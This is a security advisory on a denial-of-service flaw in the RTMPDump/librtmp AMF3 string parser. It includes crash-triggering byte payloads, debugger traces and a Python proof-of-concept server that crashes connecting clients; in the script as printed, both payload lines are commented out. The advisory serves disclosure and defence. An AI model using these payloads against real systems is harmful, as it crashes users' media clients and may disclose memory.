Talos Vulnerability Report

TALOS-2016-0066

RTMPDump librtmp AMF3 MemberName Denial of Service Vulnerability

January 7, 2016

Description

The vulnerability occurs within the AMF3ReadString function within amf.c. If an attacker sets up a malicious RTMP Media server that defines an AMF3 Class ‘memberName’ string by reference, the ‘memberName’ property of that object is not assigned, leading to an invalid pointer dereference when attempting to display the invalid ‘memberName’ in a debug message. This also occurs if a literal string value is defined but not in the datastream.

Debug output can be specified in rtmpdump with the ‘-z’ switch or in librtmp itself with _DEBUG defined. The problem is that rtmpdump will call these debug logging functions regardless of whether or not the user requested it. The ‘-z’ switch only determines whether the debug messages are displayed to the user.

Tested Versions

RTMPDump 2.4
librtmp 1.0

Details

The RTMP protocol was developed by Macromedia (Adobe) for streaming audio, video and data over the internet between a Flash player and a server. One such client used for saving these streams locally to a file is called RTMPDump. RTMPDump is available on Windows and Linux for free either through https://rtmpdump.mplayerhq.hu/ or many Linux Official/Extra Repositories. RTMPDump is also used by many media players including FFmpeg, MPlayer, HTS Home Theater System and cURL.

The developers of RTMPDump also created a library for communicating over RTMP called librtmp. This API provides a simplified interface to communicating over this protocol. librtmp is used by several programs/platforms such as RTMPDump (itself), livestreamer, youtube-dl, XBMC (Kodi), streamCapture and several others.

When an RTMPClient initiates a connected with a server, a simple Handshake exchange occurs. The client sends a packet starting with 0x03 to represent the protocol followed by a 4-byte time stamp (not required) and ‘random’ data totaling 1536 bytes (known as C0 & C1, respectively). The server then responds with the byte 0x03 and another packet 1536 bytes long with the first 4 bytes containing a time stamp, the second 4 containing 0’s and the rest being ‘random’ as well. (S0 and S1). The client then sends C2, which is a copy of S1 and the server responds with S2 which is a copy of C1.

Exploiting

After this handshake is completed, RTMP data can be exchanged. If a server sends the following bytes to the client after the handshake, the crash occurs:

03:00:00:00:00:00:10:14:00:00:00:00:02:00:01:5f:00:de:ad:be:ef:de:ad:be:ef:11:00:13

You could also crash librtmp by sending the following:

Bytes 0x15 and 0x12 (below) are integers that determine if the Class Name and the first Class Member Name is a string literal or a reference, respectively.

In this example the LSB is set for the Class Name (0x15), a string literal is expected and the remaining bits are used as the length of the string (10 bytes). This is followed by 0x12 which determines the string type of the first Member Name of the class. This causes the program to treat that string as an index into a reference table (0x12 » 1 = 0x9). Librtmp does not properly handle reference types and a crash will follow:

03:00:00:00:00:00:1c:14:00:00:00:00:02:00:01:5f:00:de:ad:be:ef:de:ad:be:ef:11:0c:1b:15:41:41:41:41:41:41:41:41:41:41:12

using rtmpdump with the ‘-z’ flag will display this output:

        DEBUG: Class name: AAAAAAAAAA, externalizable: 0, dynamic: 1, classMembers: 1
        DEBUG: AMF3ReadString, string reference, index: 9, not supported, ignoring!
        Segmentation fault (core dumped)

RTMP stream format details

RTMP Header Packet structure

    byte #1     Chunk Header Type.
    byte #2-4   Time stamp delta.
    byte #5-7   Packet Length
    byte #8     Message Type ID 
    byte #9-12  Message Stream ID. 

Message Type IDs

    0x01 = Set Packet Size Message.
    0x04 = Ping Message.
    0x05 = Server Bandwidth
    0x06 = Client Bandwidth.
    0x08 = Audio Packet.
    0x09 = Video Packet.
    0x11 = An AMF3 type command.
    0x12 = Invoke (onMetaData info is sent as such).
    0x14 = An AMF0 type command

Packet Header Decode

    03                          | RTMP packet with Header Type of 0, so 12 bytes are expected to follow
    00 00 00                    | Time stamp delta = 0
    00 00 10                    | Packet Length = 0x10
    14                          | Message ID = 0x14 (20) defines an AMF0 encoded 'commandí message
    00 00 00 00                 | Message Stream ID

RTMP command format details

Packet RTMP Command

    02 00 01                    | Command type = string - Length 0x0001
    5F                          | Command value = ë_í
    00                          | Transaction ID Type = Number
    DE AD BE EF DE AD BE EF     | Transaction ID value 

RTMP Object Stream

    11                        | AMF_AVMPLUS aka AMF3 formating
    00                        | Object Type 
    13                        | Object Traits

Object Traits from LSB to MSB

bit[0]      = (1) literal or (0) reference object instance 
                * if 0, remaining significant bits represent object index
bit[1]      = (1) literal or (0) reference trait value    
                * if 0, remaining significant bits represent trait index
bit[2]      = isExternalizable 
bit[3]      = isDynamic                                 
bit[4-31]   = classMembers (1-3 additional bytes used if MSB of first 1-3 bytes is set)

It appears that most (if not all) AMF3 Object Types are vulnerable. I tested it successfully by changing 0x00 to the following types:

    0x0, 0x1, 0x2, 0x4, 0x5 0x6, 0x7, 0xA, 0xB, 0xC

AMF3 Objects

Objects can be sent as a reference to a previously occurring Object by using an index to the implicit object reference table. Further more, trait information can also be sent as a reference to a previously occurring set of traits by using an index to the implicit traits reference table.

U29O-ref                =    U29    ;   The first (low) bit is a flag
                                    ;   (representing whether an instance
                                    ;   follows) with value 0 to imply that
                                    ;   this is not an instance but a
                                    ;   reference. The remaining 1 to 28
                                    ;   significant bits are used to encode an
                                    ;   object reference index (an integer).

U29O-traits-ref         =    U29    ;   The first (low) bit is a flag with
                                    ;   value 1. The second bit is a flag
                                    ;   (representing whether a trait
                                    ;   reference follows) with value 0 to
                                    ;   imply that this objects traits are
                                    ;   being sent by reference. The remaining
                                    ;   1 to 27 significant bits are used to
                                    ;   encode a trait reference index (an
                                    ;   integer).

U29O-traits-ext         =    U29    ;   The first (low) bit is a flag with
                                    ;   value 1. The second bit is a flag with
                                    ;   value 1. The third bit is a flag with
                                    ;   value 1. The remaining 1 to 26
                                    ;   significant bits are not significant
                                    ;   (the traits member count would always
                                    ;   be 0).

U29O-traits             =    U29    ; The first (low) bit is a flag with
                                    ; value 1. The second bit is a flag with
                                    ; value 1. The third bit is a flag with
                                    ; value 0. The fourth bit is a flag
                                    ; specifying whether the type is
                                    ; dynamic. A value of 0 implies not
                                    ; dynamic, a value of 1 implies dynamic.
                                    ; Dynamic types may have a set of name
                                    ; value pairs for dynamic members after
                                    ; the sealed member   section. The
                                    ; remaining 1 to 25 significant bits are
                                    ; used to encode the number of sealed
                                    ; traits member names that follow after
                                    ; the class name (an integer).

class-name              =    UTF-8-vr        ; Note: use the empty string for
                                             ; anonymous classes.

dynamic-member          =    UTF-8-vr        ; Another dynamic member follows
                             value-type      ; until the string-type is the
                                             ; empty string.

object-type             =    object-marker (U29O-ref | (U29O-traits-ext
                             class-name *(U8)) | U29O-traits-ref | (U29O-
                             traits class-name *(UTF-8-vr))) *(value-type)
                             *(dynamic-member)))

Note that for U29O-traits-ext, after the class-name follows an indeterminable number of bytes as *(U8). This represents the completely custom serialization of “externalizable” types. The client and server have an agreement as to how to read in this information.

AMF3 strings

For AMF 3 a string can be encoded as a string literal or a string reference. A variable length unsigned 29-bit integer is used for the header and the first bit is flag that specifies which type of string is encoded. If the flag is 1, a string literal is encoded and the remaining bits are used to encode the byte-length of the UTF-8 encoded String. If the flag is 0, then a string reference is encoded and the remaining bits are used to encode an index to the implicit string reference table.

U29S-ref          =    U29      ;   The first (low) bit is a flag with
                                ;   value 0. The remaining 1 to 28
                                ;   significant bits are used to encode a
                                ;   string reference table index (an
                                ;   integer).

U29S-value        =    U29      ;   The first (low) bit is a flag with
                                ;   value 1. The remaining 1 to 28
                                ;   significant bits are used to encode the
                                ;   byte-length of the UTF-8 encoded
                                ;   representation of the string

UTF-8-empty =          0x01     ; The UTF-8-vr empty string which is
                                ; never sent by reference.

UTF-8-vr          =    U29S-ref | (U29S-value *(UTF8-char))

Crash Information

The cause of the crash is due to the AMF3ReadString function within amf.c This function does not properly initialize the memberName property of a class if a string reference is used. Also, if an instance of a string is defined at the end of a stream and missing, a 0 (padding) will likely be read as part of the length/trait value leading the program to assume the next property is a reference.

The vulnerability begins at line 1079 in the call to AMF3ReadString():

1012 AMF3_Decode(AMFObject *obj, const char *pBuffer, int nSize, int bAMFData)
1013 {
[...snip...]
1076       for (i = 0; i < cd.cd_num; i++)
1077         {
1078           AVal memberName;
1079           len = AMF3ReadString(pBuffer, &memberName); 
1080           RTMP_Log(RTMP_LOGDEBUG, "Member: %s", memberName.av_val);
1081           AMF3CD_AddProp(&cd, &memberName);
1082           nSize -= len;
1083           pBuffer += len;
1084         }
1085     }
[...snip...]

line 468 determines if a reference flag is set. If so, the ‘memberName’ structure passed to this function is not populated and lefy in an undefined state.

458 int
459 AMF3ReadString(const char *data, AVal *str)
460 {
461   int32_t ref = 0;
462   int len;
463   assert(str != 0);
464 
465   len = AMF3ReadInteger(data, &ref);
466   data += len;
467 
468   if ((ref & 0x1) == 0)
469     {               /* reference: 0xxx */
470       uint32_t refIndex = (ref >> 1);
471       RTMP_Log(RTMP_LOGDEBUG,
472       "%s, string reference, index: %d, not supported, ignoring!",
473       __FUNCTION__, refIndex);
474       return len;
475     }
476   else
477     {
478       uint32_t nSize = (ref >> 1);
479 
480       str->av_val = (char *)data;
481       str->av_len = nSize;
482 
483       return len + nSize;
484     }
485   return len;
486 }

A logging function is called at line 1080, even if the debug switch is not used. This results in an invalid address being read from the stream when attempting to print the log error.

1080          RTMP_Log(RTMP_LOGDEBUG, "Member: %s", memberName.av_val);

>>> p/x memberName 
$14 = {
  av_val = 0xc, 
  av_len = 0x31
}

Continuing execution, a crash occurs. This appears to be a potential memory disclosure if $rdi is set to an actual address.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff786262e in _IO_vfprintf_internal (s=s@entry=0x7fffffff8ae0, format=<optimized out>, format@entry=0x7ffff7bd635a "Member: %s", ap=ap@entry=0x7fffffff9480) at vfprintf.c:1631
1631          process_string_arg (((struct printf_spec *) NULL));

>>> disassemble 0x00007ffff7862625,0x00007ffff786263d
Dump of assembler code from 0x7ffff7862625 to 0x7ffff786263d:
   0x00007ffff7862625 <_IO_vfprintf_internal+6981>: xor    eax,eax
   0x00007ffff7862627 <_IO_vfprintf_internal+6983>: or     rcx,0xffffffffffffffff
   0x00007ffff786262b <_IO_vfprintf_internal+6987>: mov    rdi,r11
=> 0x00007ffff786262e <_IO_vfprintf_internal+6990>: repnz scas al,BYTE PTR es:[rdi]
   0x00007ffff7862630 <_IO_vfprintf_internal+6992>: mov    DWORD PTR [rbp-0x4d8],0x0
   0x00007ffff786263a <_IO_vfprintf_internal+7002>: mov    rax,rcx
End of assembler dump.

>>> i r
rax            0x0  0
rbx            0x7fffffff8ae0   140737488325344
rcx            0xffffffffffffffff   -1
rdx            0x18 24
rsi            0x7fffffff8a98   140737488325272
rdi            0xc  12
rbp            0x7fffffff8ad0   0x7fffffff8ad0
rsp            0x7fffffff8560   0x7fffffff8560
r8             0x0  0
r9             0x8  8
r10            0x73 115
r11            0xc  12
r12            0x7ffff7bd635a   140737349772122
r13            0x7fffffff9480   140737488327808
r14            0x0  0
r15            0x7ffff7bd6362   140737349772130
rip            0x7ffff786262e   0x7ffff786262e <_IO_vfprintf_internal+6990>

>>> where
#0  0x00007ffff786262e in _IO_vfprintf_internal (s=s@entry=0x7fffffff8ae0, format=<optimized out>, format@entry=0x7ffff7bd635a "Member: %s", ap=ap@entry=0x7fffffff9480) at vfprintf.c:1631
#1  0x00007ffff7910ed6 in ___vsnprintf_chk (s=s@entry=0x7fffffff8c50 "Member: ", maxlen=<optimized out>, maxlen@entry=2047, flags=flags@entry=1, slen=slen@entry=2048, format=0x7ffff7bd635a "Member: %s", args=0x7fffffff9480) at vsnprintf_chk.c:63
#2  0x00007ffff7bce906 in vsnprintf (__ap=<optimized out>, __fmt=<optimized out>, __n=2047, __s=0x7fffffff8c50 "Member: ") at /usr/include/bits/stdio2.h:77
#3  rtmp_log_default (level=4, format=<optimized out>, vl=<optimized out>) at log.c:52
#4  0x00007ffff7bceab5 in RTMP_Log (level=level@entry=4, format=format@entry=0x7ffff7bd635a "Member: %s") at log.c:96
#5  0x00007ffff7bd0200 in AMF3_Decode (obj=obj@entry=0x7fffffff9698, pBuffer=<optimized out>, pBuffer@entry=0x6e84e0 "", nSize=<optimized out>, nSize@entry=2, bAMFData=bAMFData@entry=1) at amf.c:1080
#6  0x00007ffff7bd06f5 in AMFProp_Decode (prop=prop@entry=0x7fffffff9680, pBuffer=0x6e84e0 "", pBuffer@entry=0x6e84df "\021", nSize=2, nSize@entry=3, bDecodeName=bDecodeName@entry=0) at amf.c:769
#7  0x00007ffff7bd0b70 in AMF_Decode (obj=obj@entry=0x7fffffff9750, pBuffer=0x6e84df "\021", nSize=3, bDecodeName=bDecodeName@entry=0) at amf.c:1176
#8  0x00007ffff7bcaaf6 in HandleInvoke (r=r@entry=0x7fffffffa470, body=<optimized out>, nBodySize=<optimized out>) at rtmp.c:2922
#9  0x00007ffff7bcd175 in HandleInvoke (nBodySize=<optimized out>, body=<optimized out>, r=0x7fffffffa470) at rtmp.c:2915
#10 RTMP_ClientPacket (r=r@entry=0x7fffffffa470, packet=packet@entry=0x7fffffff9e00) at rtmp.c:1332
#11 0x00007ffff7bcd7d1 in RTMP_ConnectStream (r=r@entry=0x7fffffffa470, seekTime=<optimized out>) at rtmp.c:1123
#12 0x000000000040243a in main (argc=<optimized out>, argv=<optimized out>) at rtmpdump.c:1321

Proof-of-Concept

Start a malicious RTMP media server:

------------------------------------------------
#!/usr/bin/env python2

import socket
import signal
import sys

HOST = '0.0.0.0'
PORT = 1935
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn, addr = s.accept()

def run_program():
    print 'Connected by', addr

    # must pass the handshake first,
    # just reflecting the bytes back is enough
    data = conn.recv(2048)
    conn.send(data)
    print 'handshake 1 complete'

    data = conn.recv(2048)
    conn.send(data)
    print 'handshake 2 complete'

    data = conn.recv(2048)
    print 'sending exploit...'
    # uncomment to send an invalid instance property.
    #data = '\x03\x00\x00\x00\x00\x00\x10\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\x00\x13'

    # uncomment to explicitly send a property as a reference.
#   data = '\x03\x00\x00\x00\x00\x00\x1c\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x11\x0A\x2f\x15\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x12'
    print "data sent:"

    conn.send(data)
    conn.close()

if __name__ == '__main__':
    run_program()

------------------------------------------------

Start rtmpdump

------------------------------------------------

$ rtmpdump -r rtmp://127.0.0.1/app/test -o /dev/null

RTMPDump v2.4
(c) 2010 Andrej Stepanchuk, Howard Chu, The Flvstreamer Team; license: GPL
Connecting ...
INFO: Connected...
ERROR: AMF3 Object encapsulated in AMF stream does not start with AMF3_OBJECT!
Segmentation fault (core dumped)

Credit

Discovered by Dave McDaniel of Cisco Talos.